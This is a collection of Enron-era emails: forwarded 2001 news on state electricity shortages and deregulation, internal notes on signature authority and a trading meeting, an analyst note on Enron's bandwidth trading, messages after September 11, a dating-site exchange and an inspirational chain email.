      NY-ISO said
      in a recent report, Power Alert: New York's Energy Crossroads.
      "New York is heading towards a very serious situation unless it acts
      immediately
      to get new supply sited within its borders," said NY-ISO president
      William
      Museler in a statement accompanying the report. "This report is
      essentially a
      caution light at New York's energy crossroads."

      Sources in the New York Public Service Commission have downplayed the
      NY-ISO's
      warning, asserting that a process for bringing on new generation is
      well
      underway, with more than 85 projects in the approval pipeline.
      In a related development, the NY-ISO asked FERC to approve a proposed
      tariff
      amendment (ER01-1517) extending existing bids caps in some of its
      markets until
      10/31/02, and a separate and related amendment (ER01-1489) extending
      the
      NY-ISO's so-called temporary extraordinary procedures (TEP) that
      allow the ISO
      to make price adjustments and take other corrective actions if it
      finds evidence
      of market power abuse.
      The NY-ISO Report --The NY-ISO likened the situation in New York to
      that faced
      by California, where a relentless increase in demand has not been met
      with an
      equal increase in supply. The NY-ISO said that between 1995 and 2000,
      statewide
      demand for electricity rose by 2,700 MW, while generating capacity
      increased by
      only 1,060 MW. With no major new generating plants in downstate New
      York fully
      approved for construction at this time and generation demand in the
      state
      expected to grow around 1.3 percent annually for the next several
      years, the
      NY-ISO said this gap will continue to widen.
      The inevitable result of this trend is large rate increases for New
      York's power
      consumers. The NY-ISO's modeling suggests that "by 2005, statewide
      prices are
      likely to be more than 20-25 percent lower in the case in which new
      plants are
      built than in the case where they are not." In New York City, "the
      price to
      consumers of electric power could be reduced by as much as 28 percent
      when
      compared to the case of no new supply or load management programs."
      Besides large rate increases, the NY-ISO asserted that a failure to
      site and
      build new plants in New York will threaten power reliability in the
      state and
      lead to increasing reliance on out-of-state resources. The report
      said that if
      no new in-state generation comes on line in the next five years, the
      state's
      generation reserve margins will shrink from the current 14.9 percent
      above peak
      demand "to a dangerously low 8.4 percent by 2005." Pointing to
      California's
      situation, the report added that increased reliance on power imports
      "can
      subject electrical suppliers and customers in New York to
      transmission
      restrictions and political and economic considerations beyond the
      control or
      influence of responsible New York State entities."
      To avoid these harsh consequences, the NY-ISO said New York's new
      siting law,
      known as the Article X process, needs to be modified. Since the law
      was passed
      18 months ago, the report noted that only two plants have been
      approved (both
      upstate) and neither has yet been built. The problem, according to
      the NY-ISO,
      is that the siting process "requires the cooperation of multiple
      state
      agencies." To expedite the process, the report suggested the "clear
      designation
      of a lead agency and the adoption of an `ombudsman program' to
      expedite and
      coordinate the work of the agencies responsible for the Article X
      process must
      be made." The NY-ISO added that an expedited approval process would
      improve the
      environment because older, more polluting power plants would be
      replaced by
      cleaner gas-fired units.
      On a more positive note, the NY-ISO reported that New York's
      restructured power
      market "is far healthier than that in California, due in large part
      to the
      ability of New York `s utilities to enter long-term power contracts.
      The basic
      structure of the New York market will also reduce unwarranted price
      spikes and
      other market disruptions through mitigation programs which
      automatically correct
      price spikes due to market power abuses."
      "Nevertheless, California `s experience raises a caution flag for all
      New
      Yorkers," the report continued. "The deregulated market in New York
      cannot
      achieve lower costs through competition without an increase in
      capacity similar in magnitude to the recommendations of this report,
      along with
      simultaneous efforts to institute greater conservation, better load
      management
      and alternative energy supply initiatives. Additionally, closer
      integration with
      regional suppliers of power is both inevitable and beneficial."
      The report also recommended (1) accelerating conservation, real-time
      metering
      and price-sensitive load programs; and (2) upgrading the state's and
      the
      Northeast's transmission infrastructure.
      The Proposed Tariff Amendments -- New York's Article X siting process
      and
      continuing tight supplies were also cited in the NY-ISO's request to
      extend from
      4/30/01 until 10/31/02 its $1,000/MWh bid caps. FERC first approved
      the
      1,000/MWh bid caps in July 2000 (see REPORT No.197, pg.6), and
      subsequently
      extended them.
      The NY-ISO's board "is sensitive to the Commission's concerns about
      undue
      intervention in energy markets," the filing related. "Nevertheless,
      the NY-ISO
      is submitting this request because it believes that delays in New
      York state's
      `Article X' process for licensing and siting new generating capacity
      is
      inhibiting supply from increasing to match continued demand growth. .
      . .
      Moreover, although the NY-ISO proposes to implement several
      demand-side measures
      this summer, it is not yet clear whether they will make demand
      sufficiently
      price-responsive to avoid periods of high prices that would not occur
      if there
      were an efficient demand-side response."
      Thus, the NY-ISO insisted that the requested extension is needed to
      provide more
      time for the development of additional generation and to gauge the
      effectiveness
      of the NY-ISO's proposed demand-side response mechanisms "in order to
      avoid
      exposing consumers to price spikes that are not a product of the
      interplay of
      competitive market forces."
      Other problems cited in the NY-ISO's filing which keep New York's
      power market
      from being fully competitive include continuing capacity and
      operating
      constraints at the state's Central-East interface, and questions over
      adequate
      gas supply.
      "The NY-ISO remains acutely aware that taking steps to deal with
      price
      abnormalities can have undesirable consequences," the filing
      continued.
      "Nevertheless, the NY-ISO believes that the $1,000/MWh cap that has
      been used in
      the PJM's markets since inception does not appear to have had an
      adverse impact
      there. . . . The permanent bid caps in PJM, and the interim bid caps
      in ISO New
      England (proposed for extension through the end of 2001) also make
      continuation
      of the NY-ISO's bid caps more important in order to maintain
      uniformity across
      the Northeastern markets. The NY-ISO also continues to believe that
      suppliers
      will not be materially harmed by the continuation of bid caps, which
      are likely
      to come into effect very rarely and are set at levels that prevent
      only
      artificially high run-ups in prices."
      The NY-ISO's request to extend its TEP procedures (which also were
      previously
      extended) through 10/31/02 cited similar problems with New York's
      power markets,
      but claimed that the NY-ISO "has made great strides" toward
      eliminating market
      design and software flaws. "The TEPs were, and remain, an
      indispensable tool for
      responding to and correcting market flaws and other instances where
      the markets
      are not operating as the NY-ISO and the Commission intended," the
      filing
      insisted.

      MASSACHUSETTS:  Attorney general says summer poses electricity
      concerns
      By JOHN McELHENNY
      03/19/2001

      BOSTON (AP) - The state's top consumer advocate warned that
      Massachusetts may
      see "California-type" electricity blackouts this summer when
      temperatures rise
      and residents turn on air conditioners and fans.
      "It would be a mistake to feel this is a cold weather problem," said
      Attorney
      General Thomas Reilly in an interview with The Associated Press. "Our
      major
      problem will come this summer."

      State deregulation of the electric industry has been among the
      factors blamed
      for local power outages in California, and on Monday, California for
      the first
      time suffered rolling blackouts across the entire state.
      Massachusetts relaxed regulations on its own electric industry in
      1998 to
      attract more companies to stir competition. But that hasn't happened
      yet,
      largely because the current high cost of oil and gas make it
      expensive to
      produce electricity.
      "The promise of deregulation was that there was going to be
      competition," said
      Reilly, a Democrat. "That competition in the wholesale market is not
      happening."

      Hot summer weather drives up electricity use as residents turn on air
      conditioners and fans, and Reilly said a few particularly hot days
      could strain
      the grid that provides the region's power.
      A spokeswoman for the region's power grid said electricity use is
      expected to
      rise 1.5 to 2 percent this year, but the region should have enough
      power because
      of six new power plants that have begun generating electricity in the
      past 18
      months.
      "The situation is unlike California because we have new generation
      coming on
      line that is outpacing demand," said Ellen Foley, spokeswoman for ISO
      New
      England Inc., which manages the grid of 330 generators connected by
      8,000 miles
      of high voltage transmission lines.
      Still, a particularly hot day and an unforeseen power generation
      breakdown could
      prompt ISO to ask residents to conserve electricity, a situation that
      arose once
      last summer, Foley said.
      In order to avoid any power outages and protect consumers, Reilly
      repeated calls
      for electric companies to build more power lines and to offer more
      options for
      new customers who have signed up since deregulation. Those customers
      typically
      pay more than long-term customers.
      Electric transmission companies should also be allowed to enter into
      two-year
      contracts with suppliers, instead of the six-month contracts many
      have now, to
      avoid short-term price spikes for consumers, Reilly said.
      The Attorney General's Office acts as an advocate for consumers.
      Michael Monahan, a spokesman for NSTAR, which provides electricity to
      more than
      1 million customers, is upgrading some of its power lines and last
      year built a
      new line to Cape Cod, but currently has no lines under construction.
      "I wholeheartedly concur with the attorney general that it's
      something we have
      to focus on," Monahan said, but he added, "The indications I see are
      that we
      have an ample supply of electricity."
      California's statewide outages were ordered on Monday after a
      transformer fire,
      high demand and a lack of electricity imports pushed power reserves
      to near
      zero.
      California partially deregulated its electric industry in 1996, two
      years before
      Massachusetts.
      ---
      On the Net:
      Attorney General's Office: http://www.ago.state.ma.us
      NSTAR: http://www.nstaronline.com
      ISO New England Inc.: http://www.iso-ne.com

      NEVADA:  Discussion of bill stopping power plant sales to continue
      Wednesday
      By JOHN WILKERSON

      CARSON CITY, Nev. (AP) - Lawmakers hit more delays Monday in trying
      to pass a
      measure that pulls the plug on the sale of Nevada power plants to
      avoid
      California-style energy problems.
      "The goal of this bill is only stopping the divestiture of power
      plants and
      making sure it's constitutional," said Senate Commerce and Labor
      Chairman
      Randolph Townsend, R-Reno. "And that's not as easy as it sounds."

      Townsend's comment just before his committee began working on SB253
      was
      prophetic - witnesses kept bringing up the need for more flexibility
      in the
      measure.
      Translation: Don't kill all deals by stopping Reno-based Sierra
      Pacific Power
      and Las Vegas-based Nevada Power from selling their Nevada power
      plants until
      June 2003 - and possibly until 2006.
      Pete Ernaut, a lobbyist for Reliant Energy which has been trying to
      buy a power
      plant, said unforeseen market changes could make a plant sale before
      2003 a deal
      that would be in the public's interest.
      "If you put a two-year moratorium on these plants, all these deals
      are going to
      go away," he said. "When the cow leaves the barn, it's difficult to
      catch."
      Townsend had hoped to wrap up committee work on SB253 on Monday. Now
      it's up for
      review again Wednesday in the Commerce and Labor Committee.
      Reliant isn't the only company trying to keep power plant purchases
      alive.
      Earlier this month, executives of Pinnacle West Energy told the
      committee that
      it's in the public's interest to allow Sierra Pacific Resources to
      sell its
      Harry Allen power plant.
      The Harry Allen plant produces about 72 megawatts out of the 2,900
      megawatts of
      energy that Nevada utilities generate. Pinnacle has plans to expand
      that to 700
      megawatts by 2004.
      Other provisions not strictly related to the plant divestitures, such
      as ways in
      which Sierra Pacific and Nevada Power can recover the cost of undoing
      the sales
      contracts, don't have to be included in SB253, Townsend said.
      Townsend said the other concerns dealing with the energy crisis and
      utility
      deregulation can be handled in later bills - but the power plant sale
      issue must
      be handled now.
      Nevada's PUC and the Federal Energy Regulatory Commission had
      directed Sierra
      Pacific and Nevada Power to sell the plants as a condition of the
      companies'
      merger in 1999 under the parent company Sierra Pacific Resources.
      Critics of the plant sales say the plants generate about half the      
state's
      electricity - and if they're sold, the unregulated new owners could
      sell the
      power to other states and put Nevada into the energy dilemma
      California faces of
      shrinking supply and rising prices.
      The Southern Nevada Water Authority has presented an analysis stating
      that rate
      payers will save from $1.7 billion to $3.5 billion by July 2001 if
      the power
      plant sales are stopped.
      Nevada's Consumer Advocate's Office previously had projected a
      conservative
      estimate of $915 million in savings.

      MAINE:  Panel of experts would review impact of energy deregulation
      By GLENN ADAMS

      AUGUSTA, Maine (AP) - In the wake of rolling blackouts in California
      and rate
      spikes in their home state, Maine's top legislators proposed a study
      Monday into
      the effects of deregulation of the energy industry.
      "Deregulation of electricity is a new idea and we still have a lot to
      learn,"
      Senate President Michael Michaud said as he called for the analysis.

      A panel of industry insiders, elected officials and consumers would
      study issues
      such as what standard rate consumers can expect and the likelihood of
      energy
      shortfalls over the next three years, and whether Maine consumers are
      vulnerable
      to anti-competitive activities.
      In addition, the Blue Ribbon Commission would look into whether
      changes in
      Maine's deregulation law are needed to encourage more generating
      capacity,
      improve conservation and spur competition.
      The study is being proposed as consumers remain mindful of a power
      crisis in
      California that resulted from high wholesale energy costs, a consumer
      rate cap
      and too few power plants in that deregulated state.
      Maine's deregulation law is designed to avoid such pitfalls, said
      Rep. William
      Savage, D-Buxton, House chairman of the Legislature's Utilities
      Committee.
      Maine's law does not cap consumer prices, as California's does, and
      the state
      has more than enough generating facilities to meet the state's energy
      needs,
      Savage said.
      Since Maine's deregulation law took effect in March 2000, Bangor
      Hydro-Electric
      Co. rates have increased 19 percent. The Public Utilities Commission
      approved a
      residential standard rate increase as recently as last month.
      Federal energy regulators are reviewing their decision to allow steep
      fee
      increases for utilities and power wholesalers that fail to arrange
      enough
      capacity to meet customers' peak load. Gov. Angus King and all four
      members of
      Maine's congressional delegation oppose the hike.
      The PUC has approved standard rate increases for energy delivered by
      Central
      Maine Power Co. to medium-sized and large industrial users.
      On the other hand, some towns and school districts are saving money
      on energy
      through deals they can get in the deregulated market.
      In the meantime, legislation has been introduced in response to some
      of the
      changes that have occurred in Maine's deregulated energy industry.
      One would use some of the money from the sale of power-generating
      assets to
      offset an increase in rates paid by large industrial users, said Sen.
      Norman
      Ferguson, R-Hanover, Senate chairman of the Utilities Committee.
      Supporters of the utility study that was proposed Monday said they
      are not
      looking to make changes in Maine's deregulation law, but if it needs
      fixing it
      could be done during next year's session.
      The lawmakers' primary interest is to find out how trends in a new
      environment
      designed to encourage competition will affect consumers, and to try
      to identify
      what consumers can expect in the few years ahead.
      House Speaker Michael Saxl, D-Portland, said the Legislature "has a
      fundamental
      public policy interest in making sure rate-payers and businesses are
      protected
      against exorbitant rate hikes."
      Michaud, D-East Millinocket, said he's interested in finding out how
      future
      changes in electric prices and availability might affect businesses
      and
      consumers in northern Maine.
      "The economy in my part of the state is the most vulnerable, and I
      want to make
      certain we are leaving no stone unturned in our effort to prevent any
      shocks to
      the economy in northern, western and eastern Maine," Michaud added.
      The commission would include House and Senate members from each
      party, a utility
      executive, and representatives of energy producers, providers, a
      large
      commercial consumer and individual consumers.

      OREGON:  State Senate moves to combat energy crisis
      03/16/2001

      SALEM, Ore. (AP) - In an attempt to avoid a California-like energy
      crisis, the
      Oregon Senate approved a bill Friday that would quicken the process
      of siting
      power plants that use gas and renewable resources.
      "It's important for Oregon. It makes sure that energy will be
      available to
      everyone," said Sen. Lee Beyer, D-Springfield.

      The measure, SB843, would shorten the siting process for power plants
      that use
      gas and renewable resources, like wind, from a year and a half to a
      matter of
      months.
      The speeded-up process would be in effect for two years.
      "If we can act now, we can actually start to solve power supply
      problems by this
      summer," said Sen. Jason Atkinson, R-Jacksonville
      California's strict regulations on the construction of new power
      plants has
      contributed to its current shortage and legislators took note. Beyer
      said though
      California was definitely a wake-up call, the measure is a reaction
      to the
      larger power picture in the Northwest.
      With low rainfall, hydroelectric generators will have trouble meeting
      demand,
      Beyer said. Gas-fired and wind plants could come online as soon as
      this fall and
      would provide relief.
      "We are not in a position to sit back and do nothing about the energy
      crisis the
      Northwest and the country are experiencing," said Senate Minority
      Leader Kate
      Brown, D-Portland.
      Conservationists, however, caution that lawmakers should be careful
      not to rush
      to provide power at the expense of environmental standards.

      WISCONSIN:  Two utilities to add 975 megawatts in plan to avoid
      energy crisis
      By The Associated Press

      Plans of two state utilities to add 975 megawatts to Wisconsin's
      electric power
      grid as a way of avoiding an energy crisis similar to California's
      were
      questioned Thursday by a consumer advocate who said too many power
      plants may be
      in the works.
      "Certainly nobody wants to see blackouts like you have in California
      but there
      is the danger Wisconsin could be overbuilding," said Steve Hiniker,
      executive
      director of the Citizens' Utility Board, which represents consumer
      interests in
      utility rate cases. He noted that plant construction costs ultimately
      are born
      by the utility customers.

      Alliant Energy Corp. announced its proposal Wednesday - in a filing
      with the
      state Public Service Commission - to spend $1 billion to build one
      coal and two
      gas-fired power plants.
      Alliant has proposed building a 500 megawatt coal-fired plant and a
      100 megawatt
      natural-gas fired plant by 2006. It also wants to build a 200
      megawatt natural
      gas-fired facility in 2011. Wisconsin has not built a coal-fired
      plant in more
      than two decades.
      Alliant has not determined the plants' locations.
      Also, Madison Gas & Electric, the state's smallest investor-owned
      utility, said
      Wednesday that it had signed deals to buy 175 megawatts of power from
      three
      generating plants in Wisconsin and Illinois.
      "Three out of the four past summers, we've had public appeals for
      conservation
      due to shortages somewhere in the state. We need to take steps to
      avoid that,
      and the California situation makes that even more clear," said
      Alliant spokesman
      Chris Schoenherr. "Getting more iron in the ground will give us more
      flexibility
      in the state to be able to react."
      Alliant acknowledged the new plants will probably mean rate
      increases, but it
      was too early to say how much rates would go up.
      California's problems, which this week resulted in the first
      deliberate
      blackouts since World War II, stemmed from underestimating the
      state's power
      needs, forcing utilities to sell their power plants but not allowing
      them to
      secure long-term supply contracts, and freezing rates, among other
      things.
      But Wisconsin's situation is far different.
      The state has moved slower than California toward deregulation, and
      there has
      been no desire here to speed up the process in recent years as power
      reliability
      became a problem.
      The PSC estimates that Wisconsin will need an additional 3,000
      power over the next decade.
      Hiniker said Wisconsin needs to coordinate its planning to avoid
      overbuilding.
      The costs of new power plants are passed on to ratepayers, meaning
      electric
      bills will increase as new generation is added. In addition,
      coal-generated
      power plants are a major source of air pollution in the state.
      "We don't have the advance planning that has kept Wisconsin from
      overbuilding in
      the past," said Hiniker. "This is something the PSC should be doing."
      MG&E's deals are:
      -A 10-year contract to buy 75 megawatts from Calpine Energy Services
      starting in
      May 2004. The power will come from the natural gas-fired plant Rock
      River Energy
      Center, near Beloit.
      Calpine Energy Services is a unit of San Jose, Calif.-based Calpine
      Energy Corp.
      The plant is being built by Northbrook, Ill.-based SkyGen Energy LLC,
      which
      Calpine bought last year from SkyGen President Michael Polsky and
      Wisvest Corp.,
      a unit of Wisconsin Energy Corp.
      -A 10-year contract to buy 50 megawatts of power from the Rainy River
      Energy
      Corp. starting in May 2002. The power is coming from a natural
      gas-fired plant
      near Joliet, Ill. owned by LS Power Co. Rainy River is a unit of
      Duluth-based
      Minnesota Power Inc.
      -A five-year contract to buy 50 megawatts from an El Paso Merchant
      Energy plant
      near Cordova, Ill., in western Illinois.
      The owner of the natural gas facility is the Cordova Energy Center
      Co., which is
      a unit of Iowa-based MidAmerican Energy Holdings.
      Alliant also offered support in the Wednesday filing for a $7 billion
      plan of
      Milwaukee-based Wisconsin Energy, which includes five new power
      plants in Oak
      Creek and Pleasant Prairie.
      --
      On the Net:
      CUB: http://www.wiscub.org/
      Alliant Energy: http://www.alliant-energy.com
      Wisconsin Public Service Commission: http://www.psc.state.wi.us
      Wisconsin Energy: http://www.wisenergy.com/
      Madison Gas & Electric: http://www.mge.com

      Interactive-california-03233001-implications.doc)

      If you wish to be removed from the distribution list for this update
      please contact Pru Sheppard - DC.

      All recipients of this message have been Bcc'd as part of industry
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 - Dow Jones Interactive-california-03233001-selected.doc
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 - Dow Jones Interactive-california-03233001-implications.doc

Janet, I completely disagree with legals position.  I have difficulty with 
some of our VP's having signing authority.  I believe this is a significant 
control issue.

Mark, is this widespread in ENA?

Regards
Delainey
---------------------- Forwarded by David W Delainey/HOU/ECT on 10/09/2000 
01:32 PM ---------------------------

10/09/2000 12:54 PM
cc:  
Subject: Re: Signature authority
  
Well, I talked with legal about this and I understand that they can and do 
give signature authority to directors on a relatively frequent basis. I gave 
them the parameters for Ben to make it even easier. If they end up saying 
it's a bigger issue than originally articulated, I'll continue with Ben as we 
currently have it.  Thanks.

I am compelled to write a note on this last tumultuous week. It is hard to
believe it is less than a week. It has been a horrific nightmare here in New
York. You can imagine that it is hard to think, work, and smile at a time
like this. But my feeling is that everything we do as human beings if for
each other, for  our public memory and psyche. We create to nurture
enjoyment, pleasure, and experience. I think that we must consider our
evanescent lives and contribute love and peace in everything we touch, do,
and breathe.

I hope for world peace and world love. I send my regards and prayers to
everyone, my friends, my colleagues and everyone that was touched by this
tragedy. I have lost some friends in this catastrophe and it hurts, but more
importantly I am concerned about us as a collective race, as a civility. We
need to start loving each other and forge ahead and create beauty for
everyone.

Be the change you want to see in the world (Ghandi)

Love and kisses, Karim 

You guys are making us and our shareholders rich.  I hope you are having fu=
n=20
doing it.  Keep up the good work!  DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 01/14/2000=20
09:18 AM ---------------------------

FYI, a daily report put out by CIBC illustrating their view on the emerging=
=20
market...

Daily Teletimes  CIBC World Markets

We had a very informative meeting with Enron=01,s management yesterday--Jef=
f=20
Skilling, CEO of Enron (ENE - Buy) as well as Ken Rice, CEO of Enron=20
Communications and their Software VP, David Berberian and others. Enron has=
=20
built out a substantial fiber network and begun to make substantial moves=
=20
towards developing a bandwidth trading market.  We don=01,t believe that a =
lot=20
of telecom investors understand how well thought out and agressive Enron=20
plans on being in this market.  It appears that Enron is now planning to=20
articulate its strategy- specifically at their investor conference on Janua=
ry=20
20th in New York.  While details will have to wait until the 20th, Enron is=
=20
essentially aiming to build a gateway tieing in all the major long-distance=
=20
networks, guaranteeing premium quality and pricing in doing so (i.e. a =20
=01&Network of Networks=018).  While ENE does plan to use its own network t=
o carry=20
traffic, it plans to focus largely on seamlessly integrating capacity bough=
t=20
on other carriers networks.  Operationally, this boils down to a very smart=
=20
switching system that gives customers the capabilities and reliability of a=
=20
single network at the front-end while integrating capacity sourced from=20
multiple networks on the back end, creating more robust overall transport=
=20
capabilities.  ENE believes that this integration of multiple networks will=
=20
offer greater path diversity, reliability, and efficiency than any=20
single-network solution.  We note that Enron=01,s multi-sourcing approach i=
s=20
tailor-made to foster the development of a robust capacity trading market (=
as=20
discussed in our recent bandwidth trading report).  Given Enron=01,s domina=
nce=20
of the electricity and natural gas markets, we believe that there is no=20
better positioned company to create and capitalize on such a market in=20
bandwidth.   While we await further details, we did leave the meeting with =
a=20
much greater understanding of and confidence in ENE=01,s overall telecom=20
strategy.  We believe that their telecom business could create tens of=20
billions of dollars of shareholder value if ENE executes well.  We recommen=
d=20
that telecom investors make an effort to attend the Jan. 20 meeting.=20

Tim Horan 212-667-5459

Hello,

Thanks for the email.  I would like to talk more, but since I don't know yo=
u I haven't a clue as to what to talk about.  I did notice you live in Morr=
ison, do you work there also?  I like that area.  What about you and this s=
ervice, have you been using it long, and do you like it?  Drop me a line an=
d I'll start firing back questions.

Paul

From: RaeVS@talkmatch.com [mailto:RaeVS@talkmatch.com]
Sent: Saturday, November 24, 2001 3:04 PM
Subject: Match.com - You've Got Mail: hey

hi. I saw your profile and you seem like an interesting person. Take a look=
 at mine and email back if you want to talk more.
Valerie :-)

http://www.match.com/doubleblind/showprofile.asp?UserID=3D48464C4D494D47&tr=
ackingid=3D0

Some people would describe me as "having a lot of energy," friendly, outgoi=
ng, intuitive and kind. I am physically fit, but not perfect. I enjoy worki=
ng out by going to the gym, hiking, mountain biking and snowshoeing. I am i=
n the Consulting sales and management area. For fun I love to hang out with=
 my friends and family, go on spontaneous adventurous trips, go to parties,=
 read, hike and attend sporting events. The types of music that move me are=
 songs that actually have something to say about life and romantic, classic=
al music. I am the happiest when I'm healthy and everything is going great.=
 I am happy when I'm with my family and friends and the person that I am wi=
th. I am the most at peace when I am away from noise and surrounded by beau=
ty. What I have done that makes me the proudest of myself is achieving thin=
gs that I thought I never could. If I could invite any 5 people to dinner i=
t would be my parents, my best friend, the person that I'm in love with and=
 my favorite cousin. My idea of a perfect date is having a nice dinner and =
staying up all night talking. I am looking for someone who is easy to talk =
to, non-judgemental, and who enjoys life to the fullest. I am not the type =
of person who likes to meet people in a bar setting. I am looking for someo=
ne who makes me laugh and appreciates who I am.=20

Our anonymous re-mailer will strip away your real email address, so=20

You may also contact this person from their Match.com profile by=20
clicking 'Contact this person' and composing your message directly from the=
=20
site.

However:

* Check to ensure that your email address is not in the BODY of your=20

* Check to ensure that you REMOVE ANY AUTOMATIC SIGNATURE at the end of=20

your email. And note that you cannot use 'Cc:' or 'Bcc:' if you want=20

Match.com does not monitor private email between members, nor are we=20
liable for the content of these messages. All members are bound by our=20

The conf. room is as follows:  6716 

Sent:	Thursday, January 17, 2002 10:52 AM
To:	Valdes, Maria; Kaniss, Jason; Baughman Jr., Don; Ballato, Russell; Suarez, John; Carson, Mike
Cc:	Black, Tamara Jae
Subject:	Midwest/Southeast Trading Meeting

Please plan to attend a meeting today at 1pm to discuss the UBS transaction and what it means to our operation.  TJ will reply with the room information.  Thanks,

Fletch

 I know that , as a result of yesterday's national tragedy, there are many =
of you  stranded throughout the U.S....Please check with the Enron websites=
 and Travel Agency in the Park( open 24 hours) for information on how best =
to get home- Please  feel free to utilize all reasonable and safe ways to r=
eturn home...you will be reimbursed for such efforts. Please also feel free=
 to extend your stays as necessary until you are comfortable returning home=
. There isn't much more to say about yesterday's events that hasn't already=
 been said - they are tragic beyond an imaginable level...but, the fact tha=
t  each of you and your family's are safe is very important to me and many =
others. This event will be with us for a long time to come, but a sense of =
normalcy will, in time, return to our business and what we do in Government=
 Affairs..but,in the meantime,  stay safe, enjoy your families, and get hom=
e when you can if you are away. Feel free to call me at 281-831-3749 if the=
re is anything at all I can do to help. 

---------------------- Forwarded by Stanley Horton/Corp/Enron on 05/04/2001 
07:47 AM ---------------------------

"Ted or Clara Allen" <tcallen@netpass.com> on 05/04/2001 05:49:00 AM
To: "Tony & Tammi Worsnop" <tworsnop@earthlink.net>, "Theo Gornell" 
<RESORT2@webtv.net>, "Stan Horton" <Shorton@enron.com>, "Sherry Hamilton" 
<sherryh@1swtitle.com>, "Scott & Sandra Dillon" <sdillon@magicnet.net>, "Ron 
Devasto" <hypnode@earthlink.net>, "NICK GORNELL" <nikbet@email.msn.com>, 
"Mike Ryan" <mryan@lowndes-law.com>, "Maria Palmer" <MEPalmer1@aol.com>, 
"Harry and Lois" <Harlois2@aol.com>, "Gary D Small" <gary@dimensione.com>, 
"Debbie Panholzer" <deblps@aol.com>, "Debbie Coover" <DEBCOOVER@prodigy.net>, 
"Cliff Collins" <remaxman@mail.mco.bellsouth.net>, "Chris Robison" 
<christine.robison@southtrust.com>, "Betty Binford" <BDBinford@aol.com>, "Ann 
& Tom" <penderann@hotmail.com>
cc:  

Subject: Fw: Thought you would enjoy this.  Love Clara

From: "maggie welsh" <maggiewelsh@unidial.com>
To: <Undisclosed-Recipient:@unidial.com;>
Sent: Thursday, May 03, 2001 8:25 PM

>
>  > A time comes in your life when you finally get it...
> > When in the midst of all your fears and insanity
> > you stop dead in your tracks and somewhere the voice
> > inside your head cries out - ENOUGH! Enough fighting
> > and crying or struggling to hold on. And, like a
> > child quieting down after a blind tantrum, your sobs
> > begin to subside, you shudder once or twice, you blink
> > back your tears and through a mantle of wet lashes you
> > begin to look at the world through new eyes. This is
> > your awakening. You realize that it's time to stop
> > hoping and waiting for something to change, or for
> > happiness, safety and security to come galloping over
> > the next horizon. You come to terms with the fact that
> > he is not Prince Charming and you are not Cinderella
> > and that in the real world there aren't always
> > fairy tale endings (or beginnings for that matter) and
> > that any guarantee of "happily ever after" must begin
> > with you, and in the process... a sense of
> > serenity is born of acceptance. You awaken to the fact
> > that you are not perfect, and that not everyone will
> > always love, appreciate or approve of who or what you
> > are... and that's OK.(They are entitled to their own
> > views and opinions.)
> > And you learn the importance of loving and championing
> > yourself, and in the process... a sense of newly found
> > confidence is born of self-approval. You stop bitching
> > and blaming other people for the things
> > they did to you (or didn't do for you) and you learn
> > that the only thing you can really count on is
> > the unexpected. You learn that people don't always
> > say what they mean or mean what they say, and that not
> > everyone will always be there for you, and that it's
> > not always about you. So, you learn to stand on your
> > own and to take care of yourself and in the process...
> > a sense of safety & security is born of self-reliance.
> > You stop judging and pointing fingers, and you begin
> > to accept people as they are, and to overlook their
> > shortcomings and human frailties and, in the
> > process... a sense of peace & contentment is born of
> > forgiveness.
> >
> > You realize that much of the way you view yourself,
> > and the world around you, is a result of all the
> > messages and opinions that have been ingrained into
> > your psyche. And you begin to sift through all the
> > crap you've been fed about how you should behave, how
> > you should look, how much you shouldn't weigh, what
> > you should wear, where you should shop, what you
> > should drive, how and where you should live, what
> > you should do for a living, who you should sleep with,
> > who you should marry, what you should expect of
> > a marriage, the importance of having and raising
> > children, or what you owe your parents. You learn to
> > open up to new worlds and different points of view. And
> > you begin reassessing and redefining who you are and
> > what you really stand for.
> > You learn the difference between wanting and needing,
> > and you begin to discard the doctrines and values
> > you've outgrown, or should never have bought into to
> > begin with, and in the process... you learn to respect
> > your instincts.
> > You learn that it is truly in giving that we receive.
> > And that there is power and glory in creating
> > and contributing, and you stop maneuvering
> > through life merely as a "consumer" looking for your
> > next fix. You learn that principles such as honesty
> > and integrity are not the outdated ideals of
> > a bygone era, but the mortar that holds together the
> > foundation upon which you must build a life. You learn
> > that you don't know everything, it's not
> > your job to save the world, and that you can't teach a
> > pig to sing. You learn to distinguish between guilt
> > and responsibility, and the importance of setting
> > boundaries and learning to say NO.
> > You learn that the only cross to bear is the one
> > you choose to carry, and that martyrs get
> > burned at the stake.
> > Then you learn about love; romantic love and familial
> > love.
> > You learn that you will not be more beautiful,
> > more intelligent, more lovable, or important because
> > of the man or woman on your arm or the child that
> > bears your name. You learn to look at relationships as
> > they really are and not as you would have them be. You
> > stop trying to control people, situations,
> > and outcomes. You learn that just as people grow and
> > change, so it is with love.... and you learn that love is a verb, it is
> > action.
> >
> > And you look in the mirror and come to terms with the
> > fact that you will never be a size 5 or a perfect 10
> > and you stop trying to compete with the image inside
> > your head and agonizing over how you "stack up."
> > You come to the realization that you deserve to be
> > treated with love, kindness, sensitivity, and
> > respect, and you will not settle for less. And you
> > allow only the hands of a lover who cherishes you, to
> > glorify you with his or her touch... and in the
> > process you internalize the meaning of self-respect.
> > And you learn that your body really is your temple.
> >
> > You begin eating a balanced diet, drinking more
> > water, and taking more time to exercise. You learn
> > that fatigue diminishes the spirit and can create
> > doubt and fear, so you take more time to rest. And,
> > just as food fuels the body, laughter fuels the soul,
> > so you take more time to laugh and to play. You learn
> > that, for the most part, in life you get what you
> > believe you deserve... and that much of life
> > truly is a self-fulfilling prophecy. You learn that
> > anything worth achieving is worth working for, and
> > that wishing for something to happen is different
> > from working toward making it happen. More
> > importantly, you learn that in order to achieve
> > success, you need direction, discipline, and
> > perseverance. You also learn that no one can do
> > it all alone and that it's OK to risk asking for
> > help. You learn that the only thing you must truly fear
> > is the great robber baron of all time. FEAR
> > itself. You learn to step right into and through your
> > fears, because you know that whatever happens you can
> > handle it, and to give in to fear is to
> > give away the right to live life on your terms.
> > And you learn to fight for your life and not to
> > squander it living under a cloud of impending doom.
> > You learn that life isn't always fair, you don't
> > always get what you think you deserve, and that
> > sometimes bad things happen to unsuspecting, good
> > people. On these occasions you learn not to
> > personalize things. You learn that God isn't punishing
> > you or failing to answer your prayers. It's just life
> > happening. And you learn to deal with evil in its most
> > primal state - the ego.
> > You learn that feelings such as anger, envy, and
> > resentment must be understood and redirected, or they
> > will suffocate the life out of you and poison the
> > universe that surrounds you. You learn to admit when
> > you are wrong and to build bridges instead of
> > walls. You learn to be thankful and to take comfort in
> > many of the simple things we take for granted, things
